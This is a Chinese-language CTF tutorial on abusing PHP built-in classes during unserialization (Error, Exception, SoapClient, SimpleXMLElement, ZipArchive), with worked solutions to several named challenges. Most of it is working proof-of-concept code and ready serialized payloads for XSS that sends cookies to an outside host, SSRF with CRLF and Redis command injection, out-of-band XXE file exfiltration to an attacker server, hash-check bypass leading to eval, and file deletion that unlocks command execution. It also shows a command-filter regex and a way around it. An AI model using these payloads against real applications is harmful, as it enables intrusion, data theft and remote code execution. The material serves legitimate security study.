可以使用如下指令列出所有内置类
1 var_dump(get_declared_classes());
使用 Error/Exception 内置类进行 XSS Error 内置类
Error类是php的一个内置类,用于自动自定义一个Error,在php7的环境下可能会造成一个xss漏洞,因为它内置有一个 __toString()
的方法,常用于PHP 反序列化中。如果有个POP链走到一半就走不通了,不如尝试利用这个来做一个xss,其实我看到的还是有好一些cms会选择直接使用 echo <Object>
的写法,当 PHP 对象被当作一个字符串输出或使用时候(如echo
的时候)会触发__toString
方法,这是一种挖洞的新思路。
下面演示如何使用 Error 内置类来构造 XSS。
测试代码:
1 2 3 4 <?php $a = unserialize ($_GET ['whoami' ]);echo $a ;?>
(这里可以看到是一个反序列化函数,但是没有让我们进行反序列化的类啊,这就遇到了一个反序列化但没有POP链的情况,所以只能找到PHP内置类来进行反序列化)
给出POC:
1 2 3 4 5 6 7 <?php $a = new Error ("<script>alert('xss')</script>" );$b = serialize ($a );echo urlencode ($b ); ?>
成功弹窗。
Exception 内置类
测试代码:
1 2 3 4 <?php $a = unserialize ($_GET ['whoami' ]);echo $a ;?>
给出POC:
1 2 3 4 5 6 7 <?php $a = new Exception ("<script>alert('xss')</script>" );$b = serialize ($a );echo urlencode ($b ); ?>
例题 [BJDCTF 2nd]xss之光
进入题目,首先通过git泄露拿到源码:
1 2 3 <?php $a = $_GET ['yds_is_so_beautiful' ];echo unserialize ($a );
仅看到一个反序列化函数并没有给出需要反序列化的类,这就遇到了一个反序列化但没有POP链的情况,所以只能找到PHP内置类来进行反序列化。又发现有个echo,没得跑了,就是我们刚才演示的利用Error或Exception内置类进行XSS,但是查看一下题目的环境发现是PHP 5,所以我们要使用Exception类。
由于此题是xss,所以只要xss执行window.open()就能把flag带出来,所以POC如下:
1 2 3 4 <?php $poc = new Exception ("<script>window.open('http://de28dfb3-f224-48d4-b579-f1ea61189930.node3.buuoj.cn/?'+document.cookie);</script>" );echo urlencode (serialize ($poc ));?>
得到payload如下:
1 /?yds_is_so_beautiful=O%3 A9%3 A%22 Exception %22 %3 A7%3 A%7 Bs%3 A10%3 A%22 %00 %2 A%00 message%22 %3 Bs%3 A109%3 A%22 %3 Cscript%3 Ewindow.open%28 %27 http%3 A%2 F%2 Fde28dfb3-f224-48 d4-b579-f1ea61189930.node3.buuoj.cn%2 F%3 F%27 %2 Bdocument.cookie%29 %3 B%3 C%2 Fscript%3 E%22 %3 Bs%3 A17%3 A%22 %00 Exception %00 string %22 %3 Bs%3 A0%3 A%22 %22 %3 Bs%3 A7%3 A%22 %00 %2 A%00 code%22 %3 Bi%3 A0%3 Bs%3 A7%3 A%22 %00 %2 A%00 file%22 %3 Bs%3 A18%3 A%22 %2 Fusercode%2 Ffile.php%22 %3 Bs%3 A7%3 A%22 %00 %2 A%00 line%22 %3 Bi%3 A2%3 Bs%3 A16%3 A%22 %00 Exception %00 trace%22 %3 Ba%3 A0%3 A%7 B%7 Ds%3 A19%3 A%22 %00 Exception %00 previous%22 %3 BN%3 B%7 D
执行后,得到flag就在 cookie 中:
使用 Error/Exception 内置类绕过哈希比较 在上文中,我们已经认识了Error和Exception这两个PHP内置类,但对他们妙用不仅限于 XSS,还可以通过巧妙的构造绕过md5()函数和sha1()函数的比较。这里我们就要详细的说一下这个两个错误类了。
Error 类 Error 是所有PHP内部错误类的基类,该类是在PHP 7.0.0 中开始引入的。
类摘要:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 Error implements Throwable { protected string $message ; protected int $code ; protected string $file ; protected int $line ; public __construct ( string $message = "" , int $code = 0 , Throwable $previous = null ) final public getMessage ( ) : string final public getPrevious ( ) : Throwable final public getCode ( ) : mixed final public getFile ( ) : string final public getLine ( ) : int final public getTrace ( ) : array final public getTraceAsString ( ) : string public __toString ( ) : string final private __clone ( ) : void }
类属性:
message:错误消息内容
code:错误代码
file:抛出错误的文件名
line:抛出错误在该文件中的行数
类方法:
Exception 类 Exception 是所有异常的基类,该类是在PHP 5.0.0 中开始引入的。
类摘要:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 Exception { protected string $message ; protected int $code ; protected string $file ; protected int $line ; public __construct ( string $message = "" , int $code = 0 , Throwable $previous = null ) final public getMessage ( ) : string final public getPrevious ( ) : Throwable final public getCode ( ) : mixed final public getFile ( ) : string final public getLine ( ) : int final public getTrace ( ) : array final public getTraceAsString ( ) : string public __toString ( ) : string final private __clone ( ) : void }
类属性:
message:异常消息内容
code:异常代码
file:抛出异常的文件名
line:抛出异常在该文件中的行号
类方法:
我们可以看到,在Error和Exception这两个PHP原生类中内只有 __toString
方法,这个方法用于将异常或错误对象转换为字符串。
我们以Error为例,我们看看当触发他的 __toString
方法时会发生什么:
1 2 3 <?php $a = new Error ("payload" ,1 );echo $a ;
输出如下:
1 2 3 Error : payload in /usercode/file.php:2 Stack trace:
发现这将会以字符串的形式输出当前报错,包含当前的错误信息(”payload”)以及当前报错的行号(”2”),而传入 Error("payload",1)
中的错误代码“1”则没有输出出来。
在来看看下一个例子:
1 2 3 4 5 <?php $a = new Error ("payload" ,1 );$b = new Error ("payload" ,2 );echo $a ;echo "\r\n\r\n" ;echo $b ;
输出如下:
1 2 3 4 5 6 7 Error : payload in /usercode/file.php:2 Stack trace: Error : payload in /usercode/file.php:2 Stack trace:
可见,$a
和 $b
这两个错误对象本身是不同的,但是 __toString
方法返回的结果是相同的。注意,这里之所以需要在同一行是因为 __toString
返回的数据包含当前行号。
Exception 类与 Error 的使用和结果完全一样,只不过 Exception
类适用于PHP 5和7,而 Error
只适用于 PHP 7。
Error和Exception类的这一点在绕过在PHP类中的哈希比较时很有用,具体请看下面这道例题。
例题 [2020 极客大挑战]Greatphp
进入题目,给出源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php error_reporting (0 );class SYCLOVER { public $syc ; public $lover ; public function __wakeup ( ) { if ( ($this ->syc != $this ->lover) && (md5 ($this ->syc) === md5 ($this ->lover)) && (sha1 ($this ->syc)=== sha1 ($this ->lover)) ){ if (!preg_match ("/\<\?php|\(|\)|\"|\'/" , $this ->syc, $match )){ eval ($this ->syc); } else { die ("Try Hard !!" ); } } } } if (isset ($_GET ['great' ])){ unserialize ($_GET ['great' ]); } else { highlight_file (__FILE__ ); } ?>
可见,需要进入eval()执行代码需要先通过上面的if语句:
1 if ( ($this ->syc != $this ->lover) && (md5 ($this ->syc) === md5 ($this ->lover)) && (sha1 ($this ->syc)=== sha1 ($this ->lover)) )
这个乍看一眼在ctf的基础题目中非常常见,一般情况下只需要使用数组即可绕过。但是这里是在类里面,我们当然不能这么做。
这里的考点是md5()和sha1()可以对一个类进行hash,并且会触发这个类的 __toString
方法;且当eval()函数传入一个类对象时,也会触发这个类里的 __toString
方法。
所以我们可以使用含有 __toString
方法的PHP内置类来绕过,用的两个比较多的内置类就是 Exception
和 Error
,他们之中有一个 __toString
方法,当类被当做字符串处理时,就会调用这个函数。
根据刚才讲的Error类和Exception类中 __toString
方法的特性,我们可以用这两个内置类进行绕过。
由于题目用preg_match过滤了小括号无法调用函数,所以我们尝试直接 include "/flag"
将flag包含进来即可。由于过滤了引号,我们直接用url取反绕过即可。
POC如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 <?php class SYCLOVER { public $syc ; public $lover ; public function __wakeup ( ) { if ( ($this ->syc != $this ->lover) && (md5 ($this ->syc) === md5 ($this ->lover)) && (sha1 ($this ->syc)=== sha1 ($this ->lover)) ){ if (!preg_match ("/\<\?php|\(|\)|\"|\'/" , $this ->syc, $match )){ eval ($this ->syc); } else { die ("Try Hard !!" ); } } } } $str = "?><?=include~" .urldecode ("%D0%99%93%9E%98" )."?>" ;$a =new Error ($str ,1 );$b =new Error ($str ,2 );$c = new SYCLOVER ();$c ->syc = $a ;$c ->lover = $b ;echo (urlencode (serialize ($c )));?>
这里 $str = "?><?=include~".urldecode("%D0%99%93%9E%98")."?>";
中为什么要在前面加上一个 ?>
呢?因为 Exception
类与 Error
的 __toString
方法在eval()函数中输出的结果是不可能控的,即输出的报错信息中,payload前面还有一段杂乱信息“Error: ”:
1 2 3 Error : payload in /usercode/file.php:2 Stack trace:
进入eval()函数会类似于:eval("...Error: <?php payload ?>")
。所以我们要用 ?>
来闭合一下,即 eval("...Error: ?><?php payload ?>")
,这样我们的payload便能顺利执行了。
生成的payload如下:
1 O%3 A8%3 A%22 SYCLOVER%22 %3 A2%3 A%7 Bs%3 A3%3 A%22 syc%22 %3 BO%3 A5%3 A%22 Error %22 %3 A7%3 A%7 Bs%3 A10%3 A%22 %00 %2 A%00 message%22 %3 Bs%3 A20%3 A%22 %3 F%3 E%3 C%3 F%3 Dinclude%7 E%D0%99 %93 %9 E%98 %3 F%3 E%22 %3 Bs%3 A13%3 A%22 %00 Error %00 string %22 %3 Bs%3 A0%3 A%22 %22 %3 Bs%3 A7%3 A%22 %00 %2 A%00 code%22 %3 Bi%3 A1%3 Bs%3 A7%3 A%22 %00 %2 A%00 file%22 %3 Bs%3 A18%3 A%22 %2 Fusercode%2 Ffile.php%22 %3 Bs%3 A7%3 A%22 %00 %2 A%00 line%22 %3 Bi%3 A19%3 Bs%3 A12%3 A%22 %00 Error %00 trace%22 %3 Ba%3 A0%3 A%7 B%7 Ds%3 A15%3 A%22 %00 Error %00 previous%22 %3 BN%3 B%7 Ds%3 A5%3 A%22 lover%22 %3 BO%3 A5%3 A%22 Error %22 %3 A7%3 A%7 Bs%3 A10%3 A%22 %00 %2 A%00 message%22 %3 Bs%3 A20%3 A%22 %3 F%3 E%3 C%3 F%3 Dinclude%7 E%D0%99 %93 %9 E%98 %3 F%3 E%22 %3 Bs%3 A13%3 A%22 %00 Error %00 string %22 %3 Bs%3 A0%3 A%22 %22 %3 Bs%3 A7%3 A%22 %00 %2 A%00 code%22 %3 Bi%3 A2%3 Bs%3 A7%3 A%22 %00 %2 A%00 file%22 %3 Bs%3 A18%3 A%22 %2 Fusercode%2 Ffile.php%22 %3 Bs%3 A7%3 A%22 %00 %2 A%00 line%22 %3 Bi%3 A19%3 Bs%3 A12%3 A%22 %00 Error %00 trace%22 %3 Ba%3 A0%3 A%7 B%7 Ds%3 A15%3 A%22 %00 Error %00 previous%22 %3 BN%3 B%7 D%7 D
执行便可得到flag:
使用 SoapClient 类进行 SSRF
SoapClient 类 PHP 的内置类 SoapClient 是一个专门用来访问web服务的类,可以提供一个基于SOAP协议访问Web服务的 PHP 客户端。
类摘要如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 SoapClient { public __construct ( string |null $wsdl , array $options = [] ) public __call ( string $name , array $args ) : mixed public __doRequest ( string $request , string $location , string $action , int $version , bool $oneWay = false ) : string |null public __getCookies ( ) : array public __getFunctions ( ) : array |null public __getLastRequest ( ) : string |null public __getLastRequestHeaders ( ) : string |null public __getLastResponse ( ) : string |null public __getLastResponseHeaders ( ) : string |null public __getTypes ( ) : array |null public __setCookie ( string $name , string |null $value = null ) : void public __setLocation ( string $location = "" ) : string |null public __setSoapHeaders ( SoapHeader|array |null $headers = null ) : bool public __soapCall ( string $name , array $args , array |null $options = null , SoapHeader|array |null $inputHeaders = null , array &$outputHeaders = null ) : mixed }
可以看到,该内置类有一个 __call
方法,当 __call
方法被触发后,它可以发送 HTTP 和 HTTPS 请求。正是这个 __call
方法,使得 SoapClient 类可以被我们运用在 SSRF 中。SoapClient 这个类也算是目前被挖掘出来最好用的一个内置类。
该类的构造函数如下:
1 public SoapClient :: SoapClient (mixed $wsdl [,array $options ])
第一个参数是用来指明是否是wsdl模式,将该值设为null则表示非wsdl模式。
第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项,其中location是要将请求发送到的SOAP服务器的URL,而uri 是SOAP服务的目标命名空间。
使用 SoapClient 类进行 SSRF 知道上述两个参数的含义后,就很容易构造出SSRF的利用Payload了。我们可以设置第一个参数为null,然后第二个参数的location选项设置为target_url。
1 2 3 4 5 6 7 <?php $a = new SoapClient (null ,array ('location' =>'http://47.xxx.xxx.72:2333/aaa' , 'uri' =>'http://47.xxx.xxx.72:2333' ));$b = serialize ($a );echo $b ;$c = unserialize ($b );$c ->a (); ?>
首先在47.xxx.xxx.72上面起个监听:
然后执行上述代码,如下图所示成功触发SSRF,47.xxx.xxx.72上面收到了请求信息:
但是,由于它仅限于HTTP/HTTPS协议,所以用处不是很大。而如果这里HTTP头部还存在CRLF漏洞的话,但我们则可以通过SSRF+CRLF,插入任意的HTTP头。
如下测试代码,我们在HTTP头中插入一个cookie:
1 2 3 4 5 6 7 8 <?php $target = 'http://47.xxx.xxx.72:2333/' ;$a = new SoapClient (null ,array ('location' => $target , 'user_agent' => "WHOAMI\r\nCookie: PHPSESSID=tcjr6nadpk3md7jbgioa6elfk4" , 'uri' => 'test' ));$b = serialize ($a );echo $b ;$c = unserialize ($b );$c ->a (); ?>
执行代码后,如下图所示,成功在HTTP头中插入了一个我们自定义的cookie:
可以再去drops回顾一下如何通过HTTP协议去攻击Redis的:Trying to hack Redis via HTTP requests
如下测试代码:
1 2 3 4 5 6 7 8 9 10 <?php $target = 'http://47.xxx.xxx.72:6379/' ;$poc = "CONFIG SET dir /var/www/html" ;$a = new SoapClient (null ,array ('location' => $target , 'uri' => 'hello^^' .$poc .'^^hello' ));$b = serialize ($a );$b = str_replace ('^^' ,"\n\r" ,$b ); echo $b ;$c = unserialize ($b );$c ->a (); ?>
执行代码后,如下图所示,成功插入了Redis命令:
这样我们就可以利用HTTP协议去攻击Redis了。
对于如何发送POST的数据包,这里面还有一个坑,就是 Content-Type
的设置,因为我们要提交的是POST数据,所以 Content-Type
的值我们要设置为 application/x-www-form-urlencoded
,这里如何修改 Content-Type
的值呢?由于 Content-Type
在 User-Agent
的下面,所以我们可以通过 SoapClient
来设置 User-Agent
,将原来的 Content-Type
挤下去,从而再插入一个新的 Content-Type
。
测试代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php $target = 'http://47.xxx.xxx.72:2333/' ;$post_data = 'data=whoami' ;$headers = array ( 'X-Forwarded-For: 127.0.0.1' , 'Cookie: PHPSESSID=3stu05dr969ogmprk28drnju93' ); $a = new SoapClient (null ,array ('location' => $target ,'user_agent' =>'wupco^^Content-Type: application/x-www-form-urlencoded^^' .join ('^^' ,$headers ).'^^Content-Length: ' . (string )strlen ($post_data ).'^^^^' .$post_data ,'uri' =>'test' ));$b = serialize ($a );$b = str_replace ('^^' ,"\n\r" ,$b );echo $b ;$c = unserialize ($b );$c ->a (); ?>
执行代码后,如下图所示,成功发送POST数据:
bestphp’s revenge bestphp’s revenge 这道题利用的就是这个点,即对 SoapClient 类进行反序列化触发 SSRF,并配合CRLF构造payload。
进入题目,给出源码:
扫描目录发现flag.php:
可见当REMOTE_ADDR等于127.0.0.1时,就会在session中插入flag,就能得到flag。很明显了,要利用ssrf。
但是这里并没有明显的ssrf利用点,所以我们想到利用PHP原生类SoapClient触发反序列化导致SSRF。并且,由于flag会被插入到session中,所以我们就一定需要携带一个cookie即PHPSESSID去访问它来生成这个session文件。
写出最后的POC:
1 2 3 4 5 6 7 <?php $target = "http://127.0.0.1/flag.php" ;$attack = new SoapClient (null ,array ('location' => $target , 'user_agent' => "N0rth3ty\r\nCookie: PHPSESSID=tcjr6nadpk3md7jbgioa6elfk4\r\n" , 'uri' => "123" )); $payload = urlencode (serialize ($attack ));echo $payload ;
生成payload:
1 O%3 A10%3 A%22 SoapClient%22 %3 A4%3 A%7 Bs%3 A3%3 A%22 uri%22 %3 Bs%3 A3%3 A%22123 %22 %3 Bs%3 A8%3 A%22 location%22 %3 Bs%3 A25%3 A%22 http%3 A%2 F%2 F127.0.0 .1 %2 Fflag.php%22 %3 Bs%3 A11%3 A%22 _user_agent%22 %3 Bs%3 A56%3 A%22 N0rth3ty%0 D%0 ACookie%3 A+PHPSESSID%3 Dtcjr6nadpk3md7jbgioa6elfk4%0 D%0 A%22 %3 Bs%3 A13%3 A%22 _soap_version%22 %3 Bi%3 A1%3 B%7 D
这里这个POC就是利用CRLF伪造本地请求SSRF去访问flag.php,并将得到的flag结果保存在cookie为 PHPSESSID=tcjr6nadpk3md7jbgioa6elfk4
的session中。
然后,我们就要想办法反序列化这个对象,但这里有没有反序列化点,那么我们怎么办呢?我们在题目源码中发现了session_start();,很明显,我们可以用session反序列化漏洞。但是如果想要利用session反序列化漏洞的话,我们必须要有 ini_set()
这个函数来更改 session.serialize_handler
的值,将session反序列化引擎修改为其他的引擎,本来应该使用ini_set()这个函数的,但是这个函数不接受数组,所以就不行了。于是我们就用session_start()函数来代替,即构造 session_start(serialize_handler=php_serialize)
就行了。我们可以利用题目中的 call_user_func($_GET['f'], $_POST);
函数,传入GET:/?f=session_start、POST:serialize_handler=php_serialize,实现 session_start(serialize_handler=php_serialize)
的调用来修改此页面的序列化引擎为php_serialize。
所以,我们第一次传值先注入上面POC生成的payload创建并得到我们的session:
此时,我们成功将我们php原生类SoapClient构造的payload传入了 PHPSESSID=tcjr6nadpk3md7jbgioa6elfk4
的session中,当页面重新加载时,就会自动将其反序列化。但此时还不会触发SSRF,需要触发 __call
方法来造成SSRF,该方法在访问对象中一个不存在的方法时会被自动调用,所以单纯反序列化还不行,我们还需要访问该对象中一个不存在的方法,这里就用到了如下这段代码:
1 2 $a = array (reset ($_SESSION ), 'welcome_to_the_lctf2018' );call_user_func ($b , $a );
我们可以利用extract函数将变量b覆盖为call_user_func,这样,就成了:
1 call_user_func (call_user_func, array (reset ($_SESSION ), 'welcome_to_the_lctf2018' ));
call_user_func()函数有一个特性,就是当只传入一个数组时,可以用call_user_func()来调用一个类里面的方法,call_user_func()会将这个数组中的第一个值当做类名,第二个值当做方法名。
这样也就是会访问我们构造的session对象中的welcome_to_the_lctf2018方法,而welcome_to_the_lctf2018方法不存在,就会触发 __call
方法,造成ssrf去访问flag.php。
所以我们第二次传参如下:
最后,我们第三次传参,用我们POC里面自己设置的cookie(PHPSESSID=tcjr6nadpk3md7jbgioa6elfk4
)去访问这个页面,var_dump($_SESSION);
会将 PHPSESSID=tcjr6nadpk3md7jbgioa6elfk4
的这个session内容输出出来,即可得到flag:
使用 SimpleXMLElement 类进行 XXE SimpleXMLElement 这个内置类用于解析 XML 文档中的元素。
SimpleXMLElement 类 官方文档中对于SimpleXMLElement 类的构造方法 SimpleXMLElement::__construct
的定义如下:
可以看到通过设置第三个参数 data_is_url 为 true
,我们可以实现远程xml文件的载入。第二个参数的常量值我们设置为2
即可。第一个参数 data 就是我们自己设置的payload的url地址,即用于引入的外部实体的url。
这样的话,当我们可以控制目标调用的类的时候,便可以通过 SimpleXMLElement 这个内置类来构造 XXE。
读文件poc evil.xml
1 2 3 4 5 6 7 <?xml version="1.0"?> <!DOCTYPE ANY[ <!ENTITY % remote SYSTEM "http://xxx.xxx.xxx.xxx/send.xml"> %remote; %all; %send; ]>
send.xml
1 2 <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=index.php"> <!ENTITY % all "<!ENTITY % send SYSTEM 'http://xxx.xxx.xxx.xxx/send.php?file=%file;'>">
send.php
1 2 3 <?php file_put_contents("result.txt", $_GET['file']) ; ?>
恶意代码
1 $x=new SimpleXMLElement("http://xxx.xxx.xxx.xxx/evil.xml",2,true);
当然我们不止可以读文件,xxe能干的事我们也能干
例题 [SUCTF 2018]Homework
进入题目,随便注册一个账号,登录作业平台。看到一个 calc
计算器类的代码。有两个按钮,一个用于调用 calc
类实现两位数的四则运算。另一个用于上传文件,提交代码。
calc
计算器类的代码为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 <?php class calc { function __construct__ ( ) { calc (); } function calc ($args1 ,$method ,$args2 ) { $args1 =intval ($args1 ); $args2 =intval ($args2 ); switch ($method ) { case 'a' : $method ="+" ; break ; case 'b' : $method ="-" ; break ; case 'c' : $method ="*" ; break ; case 'd' : $method ="/" ; break ; default : die ("invalid input" ); } $Expression =$args1 .$method .$args2 ; eval ("\$r=$Expression ;" ); die ("Calculation results:" .$r ); } } ?>
我们点击calc按钮,计算2+2=4,我们观察url处的参数,再结合calc
计算器类的代码可知module为调用的类,args为类的构造方法的参数:
所以我们可以通过这种形式调用PHP中的内置类。这里我们通过调用 SimpleXMLElement 这个内置类来构造 XXE。
首先,我们在vps(47.xxx.xxx.72)上构造如下evil.xml、send.xml和send.php这三个文件。
evil.xml:
1 2 3 4 5 6 7 <? xml version="1.0" ?> <!DOCTYPE ANY[ <!ENTITY % remote SYSTEM "http://47.xxx.xxx.72/send.xml" > %remote; %all; %send; ]>
send.xml:
1 2 <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=index.php" > <!ENTITY % all "<!ENTITY % send SYSTEM 'http://47.xxx.xxx.72/send.php?file=%file;'>" >
send.php:
1 2 3 <?php file_put_contents ("result.txt" , $_GET ['file' ]) ;?>
然后在url中构造如下:
1 /show.php?module=SimpleXMLElement&args[]=http://47. xxx.xxx.72 /evil.xml&args[]=2 &args[]=true
这样目标主机就能先加载我们vps上的evil.xml,再加载send.xml。
如下图所示,成功将网站的源码以base64编码的形式读取并带出到result.txt中:
后续解题过程就不写了。
使用 ZipArchive 类来删除文件 ZipArchive 类 PHP ZipArchive类是PHP的一个原生类,它是在PHP 5.20之后引入的。ZipArchive类可以对文件进行压缩与解压缩处理。
下面列举几个常见的类方法:
我们来重点看看 ZipArchive::open
方法:
1 ZipArchive ::open (string $filename , int $flags =0 )
该方法用来打开一个新的或现有的zip存档以进行读取,写入或修改。
filename:要打开的ZIP存档的文件名。
flags:用于打开档案的模式。有以下几种模式:
ZipArchive::OVERWRITE
:总是以一个新的压缩包开始,此模式下如果已经存在则会被覆盖或删除。
ZipArchive::CREATE
:如果不存在则创建一个zip压缩包。
ZipArchive::RDONLY
:只读模式打开压缩包。
ZipArchive::EXCL
:如果压缩包已经存在,则出错。
ZipArchive::CHECKCONS
:对压缩包执行额外的一致性检查,如果失败则显示错误。
注意,如果设置flags参数的值为 ZipArchive::OVERWRITE
的话,可以把指定文件删除。这里我们跟进方法可以看到const OVERWRITE = 8,也就是将OVERWRITE定义为了常量8,我们在调用时也可以直接将flags赋值为8。
也就是说我们可以利用ZipArchive原生类调用open方法删除目标主机上的文件。下面我们来看一道CTF题目。
删除文件poc 1 2 $a=new ZipArchive(); $a->open("file", ZipArchive::OVERWRITE); // ZipArchive::CREATE也可以用8代替
读取文件poc 1 2 3 4 5 6 7 8 $f = "flag"; $zip=new ZipArchive(); $zip->open("a.zip", ZipArchive::CREATE); $zip->addFile($f); $zip->close(); $zip->open("a.zip"); echo $zip->getFromName($f); $zip->close();
例题 梦里花开牡丹亭
进入题目,给出源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 <?php highlight_file (__FILE__ );error_reporting (0 );include ('shell.php' );class Game { public $username ; public $password ; public $choice ; public $register ; public $file ; public $filename ; public $content ; public function __construct ( ) { $this ->username='user' ; $this ->password='user' ; } public function __wakeup ( ) { if (md5 ($this ->register)==="21232f297a57a5a743894a0e4a801fc3" ){ $this ->choice=new login ($this ->file,$this ->filename,$this ->content); }else { $this ->choice = new register (); } } public function __destruct ( ) { $this ->choice->checking ($this ->username,$this ->password); } } class login { public $file ; public $filename ; public $content ; public function __construct ($file ,$filename ,$content ) { $this ->file=$file ; $this ->filename=$filename ; $this ->content=$content ; } public function checking ($username ,$password ) { if ($username ==='admin' &&$password ==='admin' ){ $this ->file->open ($this ->filename,$this ->content); die ('login success you can to open shell file!' ); } } } class register { public function checking ($username ,$password ) { if ($username ==='admin' &&$password ==='admin' ){ die ('success register admin' ); }else { die ('please register admin ' ); } } } class Open { function open ($filename , $content ) { if (!file_get_contents ('waf.txt' )){ shell ($content ); }else { echo file_get_contents ($filename .".php" ); } } } if ($_GET ['a' ]!==$_GET ['b' ]&&(md5 ($_GET ['a' ]) === md5 ($_GET ['b' ])) && (sha1 ($_GET ['a' ])=== sha1 ($_GET ['b' ]))){ @unserialize (base64_decode ($_POST ['unser' ])); }
开头包含了shell.php,我们可以构造反序列化POC来读取shell.php:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 <?php class Game { public $username ; public $password ; public $choice ; public $register ; public $file ; public $filename ; public $content ; public function __construct ( ) { $this ->username='user' ; $this ->password='user' ; } public function __wakeup ( ) { if (md5 ($this ->register)==="21232f297a57a5a743894a0e4a801fc3" ){ $this ->choice=new login ($this ->file,$this ->filename,$this ->content); }else { $this ->choice = new register (); } } public function __destruct ( ) { $this ->choice->checking ($this ->username,$this ->password); } } class login { public $file ; public $filename ; public $content ; } class Open { function open ($filename , $content ) { } } $poc = new Game ();$poc ->username = "admin" ;$poc ->password = "admin" ;$poc ->register = "admin" ;$poc ->file = new Open ();$poc ->filename = "php://filter/read=convert.base64-encode/resource=shell" ;$poc ->content = "xxx" ;echo base64_encode (serialize ($poc ));
执行POC得到payload:
1 Tzo0OiJHYW1lIjo3OntzOjg6InVzZXJuYW1lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjU6ImFkbWluIjtzOjY6ImNob2ljZSI7TjtzOjg6InJlZ2lzdGVyIjtzOjU6ImFkbWluIjtzOjQ6ImZpbGUiO086NDoiT3BlbiI6MDp7fXM6ODoiZmlsZW5hbWUiO3M6NTQ6InBocDovL2ZpbHRlci9yZWFkPWNvbnZlcnQuYmFzZTY0LWVuY29kZS9yZXNvdXJjZT1zaGVsbCI7czo3OiJjb250ZW50IjtzOjQ6ImxzIC8iO30=
执行payload读取到shell.php的源码base64编码:
解码得到shell.php的源码:
1 2 3 4 5 6 7 8 9 10 11 12 <?php function shell ($cmd ) { if (strlen ($cmd )<10 ){ if (preg_match ('/cat|tac|more|less|head|tail|nl|tail|sort|od|base|awk|cut|grep|uniq|string|sed|rev|zip|\*|\?/' ,$cmd )){ die ("NO" ); }else { return system ($cmd ); } }else { die ('so long!' ); } }
联合index.php里面的Open类:
1 2 3 4 5 6 7 8 9 class Open { function open ($filename , $content ) { if (!file_get_contents ('waf.txt' )){ shell ($content ); }else { echo file_get_contents ($filename .".php" ); } } }
可知我们只要使 file_get_contents('waf.txt')
读取失败就可以进入 shell($content)
来执行系统命令。所以我们应该要想办法将waf.txt这个文件删除,这样就会读取失败,才能执行我们的命令。
要删除waf.txt只能想到原生类了,并且这个原生类中要有一个open()方法。遍历一下能有删除功能函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php $classes = get_declared_classes ();foreach ($classes as $class ) { $methods = get_class_methods ($class ); foreach ($methods as $method ) { if (in_array ($method , array ( '__destruct' , '__wakeup' , '__call' , '__callStatic' , 'open' ))) { print $class . '::' . $method . "\n" ; } } }
找到了一个ZipArchive类,其中刚好有一个open()方法刚好符合:
1 ZipArchive ::open ($filename , $flags = null )
如果设置flags参数的值为 ZipArchive::OVERWRITE
的话,可以把指定文件删除。这里我们跟进方法可以看到const OVERWRITE = 8,也就是将OVERWRITE定义为了常量8,我们在调用时也可以直接将flags赋值为8。
所以我们利用ZipArchive原生类调用open方法,即可将即可将$filename(waf.txt)删除:
1 ZipArchive ::open ($filename , ZipArchive ::OVERWRITE )
删除waf.txt的POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 <?php class Game { public $username ; public $password ; public $choice ; public $register ; public $file ; public $filename ; public $content ; public function __construct ( ) { $this ->username='user' ; $this ->password='user' ; } public function __wakeup ( ) { if (md5 ($this ->register)==="21232f297a57a5a743894a0e4a801fc3" ){ $this ->choice=new login ($this ->file,$this ->filename,$this ->content); }else { $this ->choice = new register (); } } public function __destruct ( ) { $this ->choice->checking ($this ->username,$this ->password); } } class login { public $file ; public $filename ; public $content ; } class Open { function open ($filename , $content ) { } } $poc = new Game ();$poc ->username = "admin" ;$poc ->password = "admin" ;$poc ->register = "admin" ;$poc ->file = new ZipArchive ();$poc ->filename = "waf.txt" ;$poc ->content = ZipArchive ::OVERWRITE ;echo base64_encode (serialize ($poc ));
生成payload:
1 Tzo0OiJHYW1lIjo3OntzOjg6InVzZXJuYW1lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjU6ImFkbWluIjtzOjY6ImNob2ljZSI7TjtzOjg6InJlZ2lzdGVyIjtzOjU6ImFkbWluIjtzOjQ6ImZpbGUiO086MTA6IlppcEFyY2hpdmUiOjU6e3M6Njoic3RhdHVzIjtpOjA7czo5OiJzdGF0dXNTeXMiO2k6MDtzOjg6Im51bUZpbGVzIjtpOjA7czo4OiJmaWxlbmFtZSI7czowOiIiO3M6NzoiY29tbWVudCI7czowOiIiO31zOjg6ImZpbGVuYW1lIjtzOjc6IndhZi50eHQiO3M6NzoiY29udGVudCI7aTo4O30=
执行后,即可删除waf.txt。接下来就可以使用 n\l /fla*
执行命令读取flag了:
